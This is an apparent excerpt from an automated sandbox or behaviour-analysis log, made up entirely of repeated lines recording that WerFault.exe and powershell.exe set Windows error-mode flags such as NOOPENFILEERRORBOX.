Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
